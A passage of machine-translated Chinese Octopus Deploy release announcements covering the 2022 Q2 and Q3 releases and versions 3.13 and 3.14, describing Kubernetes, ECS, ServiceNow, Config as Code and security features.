查看我们的公共路线图以了解最新消息并注册更新。
结论
Octopus 2022 Q1 提供了 Octopus 中 Config as 代码的第一个里程碑，以及我们的 Visual Studio 代码插件的生产就绪版本，具有 OCL 突出显示、代码片段和导航树。这个版本还包括大量新的和更新的集成。
我们期待看到我们的客户使用版本控制项目。我们将继续向我们的配置代码解决方案添加更多功能。
我们欢迎您提出任何问题或意见。你可以在下面留下反馈，或者加入我们的章鱼社区 Slack 的讨论。
我们还邀请您观看我们的免费网络研讨会，介绍 Octopus 中作为代码的配置。
愉快的(版本控制的)部署！
八达通 2022 Q2:集装箱化和现代化您的 CI/CD 管道-八达通部署
章鱼 2022 Q2 版现已发售。
迁移到原生云并不是随意提升和移动每个组件或重写每个应用程序。它是关于结合正确的技术和工具，并对在哪里进行现代化和在哪里进行维护做出战略选择。
无论您是部署到 AWS、Azure、GCP，还是您自己的数据中心——无论您在云之旅的哪个地方——Octopus Deploy 都是您需要的唯一部署工具。
我们正在通过新功能改进我们的云原生支持，以帮助您实现 CI/CD 渠道的容器化和现代化。我们改进了对 Amazon ECS 和 Kubernetes 部署容器化应用程序的支持，添加了云目标发现功能，并对 AWS 进行了无服务器改进。
2022 年 Q2 发布版在章鱼云上提供，并可供我们的自助客户下载。
此版本还包括其他值得注意的更新:
- ServiceNow 无摩擦的变更管理(早期访问预览)
- 发布创建和步骤模板的代码可用性改进
- 更快的 Octopus 云部署和更好的动态工作人员缓存
- 客户驱动的更新:
- 轻松定制项目和空间图标
- 通过可调整的会话超时和失效改进安全管理
- 通过 PKCE 支持 OAuth 2.1 授权代码流
- 无错误的租户变量版本控制
包括在 Q2 版本中
- 章鱼服务器 2022.2 ( 发布说明)
- 触手 6.1.1320
- 插件和工具:
- Octopus 为 Visual Studio 部署代码 0.0.17
- Azure DevOps 插件 5.2.134
- 用于 Octopus Deploy 6.1.12 的团队城市插件
- Octopus 部署 0.7.72 的平台提供程序
长期支持
下表显示了具有长期支持的 Octopus 服务器版本。
| 释放；排放；发布 | 长期支持 |
|---|---|
| 八达通 2022.2 | 是 |
| 八达通 2022.1 | 是 |
| 八达通 2021.3 | 期满 |
为什么使用 Octopus 进行云原生部署？
大多数 DevOps 团队在混合了现代和遗留技术的项目上工作。随着团队开始现代化，随着新系统中功能的增加，维护部署到旧基础设施上的关键遗留系统是很常见的。客户经常告诉我们，他们正在缓慢地对旧系统进行现代化，将应用程序和服务容器化，并将其转移到云中以最大限度地降低风险。
这是整个行业的趋势。在最近一份由 Konveyor 进行的关于现代化状态的报告中，应用程序现代化的团队发现这一过程并不快速或直接，并且面临许多挑战。他们面临的最大挑战是变革阻力、时间限制、成本和预算限制，以及缺乏熟练的资源。
Octopus 是团队在这个旅程中的一个很好的解决方案，因为我们有一套新老技术的广泛集成。当您启动新项目来更新其他项目时，您可以使用较旧的技术来协调部署。
Octopus 中的 Config as Code 允许您分支和迭代您的部署流程，以便您可以在维护旧流程的同时现代化您的 CI/CD 管道，直到新流程准备好投入生产。
Octopus 2022 Q2 还包括将应用部署到亚马逊 ECS 和 Kubernetes 集群的开箱即用支持，包括亚马逊 EKS、Azure Kubernetes 服务和谷歌 Kubernetes 引擎。
简化配置的指导步骤
容器托管平台帮助团队管理和扩展他们的容器化应用程序，但是它们也因为陡峭的学习曲线而变得复杂。我们的指导步骤让您更容易开始。我们的结构化用户界面引导您完成配置复杂部署场景的过程。这有助于您让 CI/CD 管道快速工作，以便您可以部署、获得反馈和迭代。
我们的指导步骤还允许您导出底层 YAML 或云形成模板，以便您可以完全控制自定义您的部署。导出的文件包含参数化变量，因此您可以在补充步骤中使用它们:部署原始的 Kubernetes YAML 或部署 AWS CloudFormation 模板。
AWS、Azure 和谷歌云账户
我们的云原生支持利用了我们对 AWS、Azure 和 Google Cloud 的内置云提供商帐户支持。添加您的云提供商凭据，并在整个部署过程中安全地使用它们。
Octopus 通过执行容器提供工作机(Octopus Cloud 有动态工作机，Octopus Server 内部有内置工作机)和工具，因此您可以执行部署，而无需配置额外的基础设施(即，无需委托给单独的虚拟机或容器)。
与您的基础架构和旧系统集成
没有一个团队使用相同的技术栈，所以将工具与基础设施集成是很重要的。Octopus 具有与您合作的集成，从传统的虚拟机和复杂的网络系统到现代的云原生技术。
我们的触手代理几乎可以在任何地方运行，支持 Windows、Linux (Debian、Ubuntu、Linux Mint、CentOS、RHEL、Fedora 等等)和 Docker。您可以使用它以监听或轮询模式连接到任何物理或虚拟机。或者，您可以安全地直接连接到运行 SSH 的服务器。
Octopus 还附带了 500 多个自动化步骤模板，涵盖的技术包括 AWS、Azure、Cassandra、Databricks、F5、Firebase、Flyway、吉拉、MariaDB、Oracle、Pingdom、Pulumi、Slack、Splunk、雪花、Twilio 和 Zabbix。
无论您使用什么，Octopus 都可以让您的团队将 Octopus 与您现有的系统和工作流程集成在一起，同时您可以根据您的时间表和优先级更新您的应用程序和服务。
Octopus 云-原生部署演示
https://www.youtube.com/embed/vsJkvaCLT4k
VIDEO
跨 Kubernetes 和 Amazon ECS 的灵活部署选项
无论您在云原生之旅的哪个阶段，Octopus 都提供了以适合您的方式进行部署的灵活性。
亚马逊 ECS
Octopus 还提供基于约定的 Amazon ECS 部署，无需定制脚本或导航 AWS 控制台。Octopus 允许您使用我们易于使用的 UI 配置您的 ECS 部署，或者您可以直接编辑基于 HCL 的配置作为代码配置文件。
我们的解决方案涵盖了两种最常见的配置:
- AWS Fargate 上的 Amazon ECS，消除了管理服务器或 Amazon EC2 实例集群的需要。
- 建立手动创建的 Amazon 集群，或者使用 AWS CloudFormation 或 Hashicorp Terraform 等基础设施作为代码技术。这允许您将基础架构(集群配置和管理)和部署分开。
Octopus 为自动化亚马逊 ECS 部署提供了深度支持:
- 引导式 ECS 自动化步骤，默认为自以为是，可扩展以实现完全控制。没有自定义脚本或任务定义配置文件。
- 没有 AWS 控制台的内置验证、有用的部署反馈和错误消息。
- 导出底层 CloudFormation 模板(带有参数化变量)以根据您的特定需求进行定制。
- 在一个步骤中部署容器化的应用程序更新(版本变动),而无需更改底层部署流程。
- 当部署陷入不良状态时，没有支持超时的重试循环。
- 支持复杂的任务定义(多个容器和任务角色)。
您还可以用 runbooks 来补充您的部署，以管理和维护您的集群:重启任务、运行 AMI 更新等等。
库伯内特斯
爱 YAML 还是恨它？我们的 Kubernetes 自动化支持 3 种方法:
- 一个结构化的 UI 步骤，引导您完成配置，无需任何 YAML 输入。
- 用原始 YAML 配置的完全灵活的步骤。
- 舵图自动化步骤。
Octopus 最初在 2018 年提供了对 Kubernetes 的支持，我们继续更新和完善它。Octopus 2022.2 为 DevOps 团队提供了终极的 Kubernetes 体验。
- 将您的 Kubernetes 集群和资源集中在一个地方，以便您可以专注于您的应用程序和客户。
- 使用内置服务帐户进行简单安全的身份验证。
- 使用共享变量简化您的部署和操作手册。
- 实施蓝/绿、淡黄色和滚动部署等部署模式。
- 使用预认证的 kubectl 脚本。
- 自动化日常维护并更快地响应紧急情况。
值得注意的是，如果您使用我们的引导式 UI 驱动的部署 Kubernetes 容器步骤模板，您可以导出底层 YAML 配置，这样您就可以完全定制它。这可以让你快速开始，但如果你需要的话，可以完全控制。
动态基础设施和自动云目标发现
现代云基础架构可以在几秒钟内创建和销毁。DevOps 工具需要“感知云”,以便与动态基础设施一起工作，这样您就可以提高工作效率。
借助自动云发现，您可以快速将工作部署到新的基础架构。不需要点击 UI 来配置它，也不需要编写定制脚本或指定具体细节。连接您的云帐户，标记您的云资源，并部署您的应用程序。
Octopus 还会定期检查云基础架构是否可用，并在需要时将其从 Octopus 基础架构中移除。这可以保持您的基础架构仪表板整洁和最新。
这个初始版本增加了对 Azure App Services (Web Apps)、Amazon ECS 集群和 Kubernetes 集群(早期访问预览版)的支持。
亚马逊网络服务的无服务器改进
Octopus 2022.2 包括对 AWS Lambda 无服务器部署的改进。
新的创建 S3 存储桶步骤让您在上传文件到新的或更新的位置时更加灵活。创建新的 S3 存储桶，然后在后续步骤中将文件上传到这些存储桶中，无需任何麻烦或定制脚本。
上传到 AWS S3 存储桶步骤现在支持引用先前步骤中上传的文件，并增加了对变量替换和结构化变量替换的完全支持。这一更新意味着您可以上传文件，并用目标环境范围内的变量适当地转换它们。
ServiceNow 无摩擦的变更管理(早期访问预览)
IT 服务管理(ITSM)描述了 IT 团队如何为他们的客户提供可靠的 IT 服务。这通常包括 IT 服务的交付和支持，以及管理系统变更。
对于开发运维团队来说，大规模管理部署管道既复杂又耗时，而且当您加入变更管理时，情况会变得更加复杂。通常会有严格的变更流程，需要进行彻底的审查，以获得发布新版本应用程序的批准。变更顾问委员会可以被视为阻碍开发团队的路障。
我们希望通过帮助您将 Octopus 与 ServiceNow 集成来减少摩擦并简化您的开发团队的生活，从而使这变得更容易。
服务中的 ITSM 认证现在
作为改进 ITSM 支持的一部分，我们很高兴与大家分享 ServiceNow 集成的第一个里程碑。我们的客户告诉我们，手动填写变更请求既耗时又容易出错。他们希望他们的 CI/CD 系统能够自动创建变更请求，并以更少的摩擦实现最佳实践。
这一新的集成将 Octopus 部署与 ServiceNow 变更请求联系起来，并自动创建预填充的正常变更请求。您获得了开箱即用的改进的可跟踪性，并且您可以向审计人员证明每个受控的部署都有一个变更请求。这确保您的 CI/CD 和发布管理流程符合公司政策和法规。
我们的 ServiceNow 支持包括哪些内容？
- 简单的工作流程配置，因此很容易将 Octopus 与 ServiceNow 集成。
- 将部署链接到现有的更改请求，以手动将部署与更改请求相关联。
- 在部署时自动创建普通的变更请求。Octopus 暂停部署，直到相应的批准完成。
- 使用变更模板自动创建标准变更请求，以减少手动工作并控制要填充的信息。
- 查看和导出受控部署的审核日志，以便轻松实现合规性和部署后协调。
这种集成功能齐全，可在早期访问中使用。我们希望获得您的反馈，以便在我们的支持服务正式推出之前，帮助我们塑造和完善它。
如果您的团队使用 ServiceNow 变革管理，我们希望您能尝试一下并提供您的反馈。
发布创建和步骤模板的代码可用性改进
我们将继续改进 Octopus 中的 Config as 代码，使其更加易于使用。要了解更多关于 Config as Code 的信息，请阅读我们 2022.1 版本的公告。
使用 Config as Code，您现在可以拥有一个项目的多个分支，并且由于部署过程可以在分支之间变化，步骤模板也可以变化。我们将 Config 更新为代码，以更好地支持跨分支使用 step 模板。您可以使用“步骤模板用法”选项卡，通过显示从不同分支创建的最新 20 个版本中使用的模板版本来查找过期的模板。
您还可以从 Git commit 或 tag 而不是分支的头部创建一个 release，这样您可以通过在创建一个 release 时选择一个特定的 commit 或 tag 来获得更多的控制。
了解更多关于我们版本控制特性的信息。
根据客户反馈，我们改进了执行容器 Docker 映像，使部署速度更快。
我们改进了 Docker 图像缓存，并且我们正在努力缩小 Docker 容器图像(我们称之为 Worker Tools)的大小，这些图像是特定于技术的，文件大小要小得多。结合更好的缓存方法，您可以在部署中使用最新的工具和技术，而不会影响性能。
客户驱动的改进
此版本包含几项客户驱动的改进。
轻松定制项目和空间图标
我们引入了对项目和空间图标的内置支持，因此您可以找到合适的图标并选择适合您团队的颜色。快速轻松地定制您的 Octopus 实例。
通过可调整的会话超时和失效改进安全管理
借助 Octopus 2022.2，您的安全团队可以根据您的内部安全策略调整会话超时。您可以在 Octopus 配置设置中表达您的威胁模型，并根据您组织的需求进行定制。
OAuth 认证改进
除了当前的 OAuth 2.0 隐式流程，我们还支持 PKCE 的 OAuth 2.1 授权代码流程，因此我们拥有最新的关键协议和标准，以满足您的安全团队的需求。对 PKCE 使用授权代码流可以确保您的实例更加安全，因为您可以在每次请求时动态生成客户端机密。请注意，旧的隐式流仍然可以使用，直到您通过您的设置更新到新的流。
以下身份验证提供程序现在可以与 PKCE 的 OAuth 2.1 授权代码流一起使用:
请阅读每个提供商的文档以了解更多信息。
租户变量版本控制
如果两个人同时对租户变量进行更改，那么可能会覆盖另一个人的更改。我们通过添加一个新的变量版本字段修复了这个问题。这可以防止租户变量被另一个用户所做的任何后续更改覆盖，如果他们同时编辑租户变量的话。
例如，如果两个人同时处理租户变量，第二个人不能覆盖第一个人所做的更改。第二个人需要刷新他们的页面并重新输入他们的变量更新以保存他们的更改。
重大变化
此版本包含一个突破性的变化:
八进制语法中的空版本现在抛出一个错误，而不是返回一个默认值
Octostache 允许您指定一个空版本，将任何部分解析为默认值。这种行为已从 Octopus 中删除。从 2021 年 3 月开始版本化，但是直到现在这个包才在 Octostache 中更新。从现在开始，空版本会抛出一个错误，Octostache 的所有其他行为保持不变。
在 GitHub 问题中了解更多关于这一变化的信息。
升级或开始
章鱼云用户已经在运行这个版本了。自托管八达通客户可以从我们的网站下载最新版本。
我们鼓励您查看升级 Octopus 服务器的步骤。更多信息请参见发行说明。
如果你从未使用过 Octopus，注册免费试用或发送电子邮件给我们的团队观看演示并了解更多信息。
未来的版本中会有什么？
查看我们的公共路线图以了解最新消息并注册更新。
结论
八达通 2022 Q2 提供了许多新功能，以支持您的容器化应用程序和现代化的 CI/CD 管道。无论您在云之旅的哪个地方，Octopus 都是您需要的唯一部署工具。
愉快的部署！
Octopus 2022 Q3:安全、可靠、可审计的管道——Octopus 部署
Octopus 2022 第三季度发布现已推出。
这个版本增加了对版本控制项目的版本控制变量的支持，以便更完整地实现我们在三月份发布的的 Config as Code 解决方案。
我们还有许多其他新功能，可以帮助您构建安全、可靠、可审计的“As Code”CI/CD 管道。其中包括与我们的 ServiceNow 和吉拉服务管理集成的 ITSM 变更管理，以及内置的 DevOps 报告。
随着组织不断现代化，安全可靠地审计 CI/CD 管道变得越来越重要。您需要监控和保护您的部署，并且您的团队需要使用工具进行可靠的扩展，以便在发布从部署到测试和生产的过程中进行协作。
此版本值得注意的更新包括:
- 作为版本控制项目的代码版本控制变量
- ITSM -立即为服务进行无摩擦的管理变革
- 吉拉服务管理-高效的变更管理批准(早期访问)
- DevOps Insights - DORA insights 用于量化价值和改进(早期访问)
- 针对 Octopus Deploy v2 的 GitHub 操作
- 更简单的云目标发现设置
这些功能共同支持您部署的协作、可扩展性和安全性。
2022 年第三季度版本在 Octopus Cloud 上提供，可供我们的自助客户下载。
包括在第 3 季度发行版中
- 章鱼服务器 2022.3 ( 发布说明)
- 触手 6.2.50
- 插件和工具
- 为团队城市 6.1.14 部署 Octopus
- Octopus 为 Visual Studio 部署代码 0.1.4
- 用于 Octopus Deploy 0.8.1 的 Terraform Provider
- Octopus Deploy for 吉拉服务管理 1.0.9-AC(现已向吉拉服务管理云客户提供)
- 章鱼为竹子部署 2.4.5
长期支持
下表显示了具有长期支持的 Octopus 服务器版本。
| 释放；排放；发布 | 长期支持 |
|---|---|
| 八达通 2022.3 | 是 |
| 八达通 2022.2 | 是 |
| 八达通 2022.1 | 期满 |
配置为代码-版本控制您的部署过程和配置
Octopus 2022 Q3 建立在我们的 2022 Q1 版本的基础上，增加了版本控制变量，以进一步改善您的开发工作流程。您可以在部署流程和应用程序代码的同时改进配置变量和基础设施设置。
通过版本控制的部署流程和变量，Octopus 提供了安全、可靠、可审计的“As Code”部署管道。这使您的团队能够按照公司的法规要求和合规性政策开展工作，从而使审计过程更加顺畅。
【T2 
- 可追踪的端到端 CI/CD“As Code”管道 - Octopus 为各种 CI 服务器提供内置插件，便于集成。您可以将 Octopus 与支持构建定义作为代码的 CI 服务器配对，为您提供对软件开发过程变更的完全可追溯性。对构建和部署管道的更改可以通过相同的拉请求审查和批准过程，从而提高管道的稳定性和可靠性。
- 一致的流程和批准——通过使用拉式请求工作流来审查和批准变更，提高代码质量并满足合规性要求。一致的过程有助于高质量的发布，并且您可以强制执行策略，以便未批准的变更不会被合并。
- 可追踪的变更集——通过结合使用拉请求差异和详细的审计日志，清晰地了解变更集。Octopus 对发生的所有事情都有完整的审计记录，包括详细的日志和过滤器。查看谁在何时更改了什么，以帮助解决版本问题。使用源代码控制提交和 Git 差异捕获更多细节，向您显示对流程和配置设置所做的确切更改。
- 灾难恢复——备份和恢复 Git 中的用户管道。如果需要，回滚更改可以更容易地从发布中断中恢复。
配置为代码演示
https://www.youtube.com/embed/lRLKt6b4uxE
VIDEO
客户受益于配置即代码
我们有数百个客户在 Octopus 中使用 Config 作为代码，包括 StackOverflow 和 Recruit Wizard。
Config as Code 允许我们为我们所做的每一种改变创建我们想要的工作流。它为版本控制部署带来了最有价值的部分，也就是它允许用户拥有的迭代过程(通过分支)。
Chris Hunt，员工现场可靠性工程师-堆栈溢出
将配置分支为代码允许我们在修改代码的同时修改部署过程。这是一个绝对的游戏改变者，尤其是当我们在团队中加入越来越多的工程师时。
首席技术官——招聘向导本·麦克弗森
ServiceNow 轻松改变管理
【T2 
ServiceNow 集成将 Octopus 部署链接到 ServiceNow 变更请求，并自动创建预填充的正常变更请求。
您获得了开箱即用的改进的可跟踪性，并且您可以向审计人员证明每个受控的部署都有一个变更请求。这确保您的 CI/CD 和发布管理流程符合公司政策和法规。
我们的 ServiceNow 支持包括哪些内容？
- 简单的工作流程配置，因此很容易将 Octopus 与 ServiceNow 集成。
- 将部署链接到现有的更改请求，以便您可以手动将部署与更改请求相关联。
- 在部署时自动创建普通的变更请求。Octopus 暂停部署，直到批准完成。
- 创建变更请求后，使用 Octopus 自动完成变更请求阶段之间的转换，在 ServiceNow 中留下部署记录。
- 使用变更模板自动创建标准变更请求，以减少手动工作并控制要填充的信息。
- 确保现有变更请求遵循“变更窗口”,以便在指定的时间窗口之前不会执行部署。
- 向变更请求添加工作注释，其中包含有关部署开始和完成时间以及部署是否成功的信息。
- 查看和导出受控部署的审核日志，以便轻松实现合规性和部署后协调。
了解有关我们的 ServiceNow 集成的更多信息。
借助吉拉服务管理实现高效的变更管理审批(提前访问预览)
基于我们的 ITSM 变更管理支持，我们的吉拉服务管理集成作为早期访问预览版(EAP)提供。这种集成将 Octopus 部署与吉拉服务管理变更请求联系起来，使大规模管理部署管道变得更加容易。它减少了手动填写变更请求的需要，从而加快了流程并减少了错误。
了解有关我们的吉拉服务管理集成的更多信息。
我们的吉拉服务管理支持包括什么？
- 简单的工作流程配置，因此可以直接将 Octopus 与吉拉服务管理集成。
- 将部署链接到现有的更改请求，以手动将部署与更改请求相关联。
- 在部署时自动创建“变更请求”请求。Octopus 暂停部署，直到相应的批准完成。
- 查看和导出受控部署的审核日志，以便轻松实现合规性和部署后协调。
- 提高了开箱即用的可追溯性，以确保您的 CI/CD 和发布管理流程符合公司政策和法规。
如果您的团队使用吉拉服务管理变更管理，我们希望您能尝试一下并提供您的反馈。
DevOps 洞察:更好的可见性和可操作的 DORA 指标(早期访问预览)
Octopus 中的 DevOps Insights(早期访问)通过展示基于 4 个关键 DORA 指标的见解，让您更好地了解贵公司的 DevOps 绩效。这些指标有助于您确定开发运维绩效的结果，并深入了解需要改进的地方。
- 更好地了解您的项目和团队的绩效。
- 消除“直觉”，使用数据推动改进，并确定新流程是否有效。
- 随着时间的推移审查和收集数据，以突出更快提供更大价值的途径。
- 通过数据和协作帮助引入变革，以形成业务案例。
- 分享成功，从失败中学习，不断改进。
DevOps Insights 有两个级别:
- 项目级洞察:对所有客户可用
- 空间级洞察:面向企业客户
项目级洞察作为每个项目中的一个新标签，可供所有客户开箱即用。如果你已经是一个用户，Octopus 有它需要的所有数据来帮助你发现基于你的部署历史的丰富见解。
了解如何在我们的文档中使用项目级见解。
跨项目和团队的洞察力，具有空间级别的洞察力
【T2 
此版本包括针对企业客户的更多见解。空间层面的见解:
- 在您的空间中汇总数据，以便您可以跨项目比较指标，确定哪些有效，哪些无效
- 为更好的决策提供信息:发现问题，跟踪改进，庆祝成功
- 根据数据显示的实际情况，帮助您量化 DevOps 性能
进一步了解空间层次洞察力如何帮助您的团队做出更好的决策。
DevOps Insights Alpha 计划的客户反馈
一些客户参与了我们的 DevOps Insights Alpha 计划，我们感谢他们的宝贵时间和反馈。他们帮助成千上万的其他客户设计了这个功能。
我们使用了 DevOps Insights Alpha 程序，发现它非常有用。这些见解为我们的团队提供了易于获取的具体数据，有助于验证我们的假设并做出决策。它们提供了与决策者分享的证据，并使管理者一眼就能找到他们需要的信息。
Leslie Brody，IMO 首席现场可靠性工程师
针对 Octopus Deploy v2 的 GitHub 操作
我们更新了 Octopus Deploy 的 GitHub 操作:
此版本还带来了许多更新，包括:
- 通过基于 SemVer 的标签提高了主要更新、次要更新和补丁更新的可用性
- 更简单的输入，合理的默认值和每个动作更少的输入参数
- 利用环境变量作为动作的输入参数
- 增加了对敏感值环境变量的支持(如 API 键)
- 通过降价运行生成的作业摘要(见下文)
工作摘要
作业摘要是使用定制的 GitHub 风格的 Markdown 生成的，我们通过 Create Release 和 Push Package GitHub 操作发出这个 Markdown。
像这样的动作输出以前仅限于日志和注释，很难对大量信息进行聚合和分组。该功能增强了用户体验。
推送构建信息
这个版本引入了一个新的 GitHub 动作:推送构建信息。这个 GitHub 动作允许您向 Octopus 提供详细的提交、构建和发布跟踪信息，这些信息可以作为发行说明出现。
您可以使用该特性与每个生产部署的利益相关者共享发行说明。当试图隔离特定版本中引入的 bug 时，您还可以跟踪从部署到构建和提交的链接。
了解有关构建信息和问题跟踪的更多信息。
更简单的云目标发现设置
我们简化了云连接的配置，因此您可以部署到 Azure、AWS 和 Google Cloud。现在，您可以直接在部署流程编辑器中配置云连接。这意味着您可以通过更少的点击来配置和选择适当的云帐户设置。配置完成后，您也会收到通知。
了解有关如何配置云连接的更多信息。
重大变化
此版本包含 3 个突破性的变化:
创建和查看发布时对外部提要的请求减少
过去，Octopus 在创建发布时会执行包搜索来检索发布日期。这可能导致在检索此信息时发布创建被阻止，从而导致延迟。
我们做了一些小的改动，以减少在创建和查看发布时对外部提要的请求数量。
在 GitHub 问题中了解更多关于这一变化的信息。
更新 OCL，通过 slugs 而不是名称来引用共享资源
当 Config as Code 启动时，Git 项目使用它们的名称引用共享资源。这也意味着来自 Git 项目的 API 响应包括名称而不是 id。
我们不再使用名字，而是将 slugs 引入 OCL，并将 id 带回 Git 项目的 API。
有了这个改变，Git 项目可以使用它们唯一的 slug 而不是它们的名字来引用来自 OCL 的共享资源。
当通过 API 返回结果时，Octopus Server 会将这些 slugs 转换为资源 id，允许(大多数)脚本在数据库和 Git 项目之间重用，而无需考虑名称和 id。
在 GitHub 问题中了解更多关于这一变化的信息。
受更新的 ServiceNow 批准缓存影响的现有变更控制部署
ServiceNow 审批缓存已更新，每个人都可以使用该功能。如果您当前正在使用 Octopus ServiceNow 集成，并且在升级到 2022.3 时部署正在等待批准，则它们将无法退出“排队”状态，也不会运行。升级后，需要手动终止并重新启动现有的变更控制部署。
或者，请确保在安装升级之前，所有现有的受更改控制的部署都已执行完毕。
在 GitHub 问题中了解更多关于这一变化的信息。
升级或开始
章鱼云用户已经在运行这个版本了。自托管八达通客户可以从我们的网站下载最新版本。
我们鼓励您回顾升级 Octopus 服务器的步骤。更多信息请参见发行说明。
如果您以前没有使用过 Octopus，注册免费试用，或者发送电子邮件给我们的销售团队观看演示并了解更多信息。
未来的版本中会有什么？
查看我们的公共路线图以了解最新消息并注册更新。
结论
Octopus 2022 Q3 提供了支持安全、可靠和可审计的“As code”CI/CD 管道的新功能。Octopus 2022 Q3 建立在我们 Q1 版本的基础上，增加了版本控制变量。这个版本还包括许多支持现代 DevOps 团队的附加特性。
我们将继续为我们的配置代码解决方案添加更多功能，并期待看到更多添加了变量的版本控制项目。
愉快的部署！
八达通可能发布 3.13 -八达通部署
本月的发布带来了一些令人兴奋的新功能，包括对 Azure Service Fabric、HSTS、可选生命周期和性能改进的支持，等等！
在这篇文章中
发布之旅
https://www.youtube.com/embed/LljoIA8wtHQ
VIDEO
Azure 服务结构支持简介
我们很高兴地宣布，Octopus 现在包括对部署 Azure 服务架构应用程序的一流支持。
自今年早些时候的 RFC 以来，我们一直忙于创建新的 step 模板来帮助您连接和部署您的服务结构集群应用程序。
这些新的服务结构步骤现在可以帮助您:
这两个步骤都需要连接到集群。因此，我们包含了对安全模式的支持，包括不安全、客户端证书和 Azure Active Directory。
服务架构 SDK
由于服务架构的依赖性，您需要手动将服务架构 SDK 安装到您的 Octopus 服务器上。然后，您可以开始使用 Octopus 来帮助编排您的服务结构应用程序部署。
想了解更多？
您可以从我们的主部署到服务结构文档中了解更多关于这些新特性的信息。
HTTP 严格传输安全(HSTS)
HTTP 严格传输安全是一个 HTTP 头，可用于告诉 web 浏览器，即使用户尝试使用 HTTP，也只能使用 HTTPS 与网站通信。这可以大大减少您的攻击面，并且是安全专业人员经常推荐的。
我们现在可以按需发送这个头，但是由于存在一些潜在的复杂情况，它在默认情况下是不启用的。如果你有你的八达通服务器暴露在互联网上，我们建议阅读并启用 HSTS 。
可选的生命周期阶段
从我们的待办事项中去掉另一个高等级的用户意见建议，你现在可以在你的生命周期中创建可选的阶段，这些阶段可以在进展过程中跳过。这个特性将有助于您自由地将您的版本部署到一组环境中，而不会阻碍部署的继续。当这种行为是预先知道的，并且是标准发布管道的一部分时,渠道工作得很好，例如，总是将修补程序发布直接推送到 UAT，但是这种方法对于可选阶段功能带来的更灵活的规则集来说太死板了。
了解关于可选生命周期阶段的更多信息。
浏览器缓存
对于 Octopus 服务器来说，加载仪表板可能是一项数据密集型操作。它可能需要提取项目的所有版本和部署，对它们进行比较、排序和过滤，然后序列化并返回到浏览器进行渲染。在大型实例中，这可能需要几秒钟才能完成。每次客户端发出这个请求，都会占用服务器资源，而这些资源通常(考虑到目前大约每 5 秒钟更新一次)可能都没有改变。相反，门户现在将缓存一些高成本查询的响应，并且只在服务器上发生新事件时才重新加载数据。虽然可以禁用此功能，但预计这将使服务器对所有用户的响应更快。
脚本失败并显示消息
现在可以定制部署概述上的消息，请参考脚本失败并显示消息
修改任务状态
您是否曾经部署到生产环境中，却只有最后一步“电子邮件发布派对邀请！”失败？或者，您可能成功部署了，但在一些 QA 人员决定回滚后。现在，您可以修改任务的状态。当状态为Success、Failed或Canceled的任务完成时，您可以通过提供新的任务状态和更改原因，从任务屏幕编辑状态。提交后，任务状态将被更新，任务历史记录中的一个条目将包含一个带有更改的审计条目。执行此操作需要一个名为TaskEdit的新权限。默认情况下，TaskEdit权限只授予内置的管理员团队。
频道索引版本模板变量
例如
#{Octopus.Version.Channel[MyChannel].LastMajor}
目前，当使用模板计算发布版本时，许多变量都是可用的。例如
#{Octopus.Version.LastMajor}
#{Octopus.Version.NextMajor}
#{Octopus.Version.LastMinor}
...
当使用通道时，相应的变量可用于电流通道。例如
#{Octopus.Version.Channel.LastMajor}
#{Octopus.Version.Channel.NextMajor}
#{Octopus.Version.Channel.LastMinor}
...
缺失的部分是引用其他通道的版本组件的能力(即不是正在创建的发布版本的通道)。
例如，您的项目可能有通道:Release、PreRelease和HotFix。现在，您将能够定义一个版本模板，例如:
#{if IsRelease}
#{Octopus.Version.Channel.LastMajor}.#{Octopus.Version.Channel.NextMinor}.0
#{/if}
#{if IsPreRelease}
#{Octopus.Version.Channel[Release].LastMajor}.#{Octopus.Version.Channel[Release].NextMinor}.0#{Octopus.Version.Channel.NextSuffix}
#{/if}
#{if IsHotFix}
#{Octopus.Version.Channel[Release].LastMajor}.#{Octopus.Version.Channel[Release].LastMinor}.#{Octopus.Version.Channel.NextPatch}
#{/if}
使用通道索引变量，如#{Octopus.Version.Channel[Release].LastMajor允许您引用其他通道的上一\下一版本组件。
注意:这个模板依赖于定义通道范围的变量IsRelease、IsPreRelease和IsHotFix。
升级
升级 Octopus Deploy 的所有常规步骤都适用。请注意，在这个版本中，围绕show-configuration命令有一个微小的突破性变化。更多信息请参见发行说明。
包裹
这个月到此为止。我们希望你喜欢最新的功能和我们的新版本。欢迎给我们留下评论，让我们知道你的想法！愉快的部署！
八达通 6 月版 3.14 -八达通部署
本月的发布带来了一些令人兴奋的新功能，包括我们为 Atlassian 的 Bamboo build 服务器开发的新 Octopus Deploy 插件，以及更容易的升级、安全改进和更好的性能。
在这篇文章中
发布之旅
https://www.youtube.com/embed/CWf5Y-dk14c
VIDEO
章鱼竹插件
我们正在为 Atlassian 的Bamboo build/持续集成服务器发布一个本地 Octopus Deploy 插件。这个新的附加组件允许您轻松地配置您的构建计划，以打包应用程序进行部署，将包推送到 Octopus，以一流的方式创建、部署和推广版本。这使得集成 Bamboo 和 Octopus 来构建您的部署管道变得很容易，并且可以利用这两种产品的强大功能！
这个插件可以在 Atlassian 的市场上买到，如果你使用 Bamboo 和 Octopus，我们强烈推荐你去看看。
部署到 IIS 的步骤改进
我们已经更新了“部署到 IIS”步骤，以添加支持来控制在成功部署后如何启动您的 web 应用和应用池。这在配置Web Sites和Web Applications时可用。这是对最受欢迎的步骤之一的一个很好的补充。
Web Site的新选项:
Web Application的新选项:
现在使用 SHA256 生成证书
正如我们在粉碎的博文中承诺的，我们已经更新了我们的证书生成，使用 SHA256，而不是以前的 SHA1。这确保了任何新的安装或重新生成的证书将使用 SHA256，但不会影响任何现有的证书。我们将在不久的将来推出一些功能，使替换旧证书变得更加容易。
触手分裂
直到现在，我们总是随着每个版本的章鱼服务器发布新版本的触手。今天我们劈开触手！
之前的触手节奏
随着每个章鱼服务器的发布，我们也发布了一个触手版本。因此，每次你升级你的章鱼服务器时，系统都会提示你升级你所有的触手。在我们的大多数版本中，我们没有对触手做任何改动。
新的触手节奏
新版本的触手只有在触手有变化的情况下才会发布。在这个阶段，触须版本的隆起将标志着变化。Octopus Server 将捆绑最近发布的触手版本，并将其用于触手升级。
这对你意味着什么？
少触手升级！自从 Octopus 3.0 发布以来，对触手进行了一些小的调整，主要是增加了新的命令和对通信栈的微小改变。章鱼服务器 v3.x 兼容所有触手 3.x 版本。我们希望分裂触手有助于减轻升级章鱼的一些麻烦和摩擦，并提供关于触手变化的更好的沟通。
即将推出
我们的目标是给触手和我们的一些其他开源库提供他们自己的发行说明，这样你就不用在 Octopus 服务器的发行说明中寻找感兴趣的东西了。我们也会给你自动升级触手的能力，只要一个新的触手版本发布，而不是等到下一个章鱼服务器发布。
保留策略改进
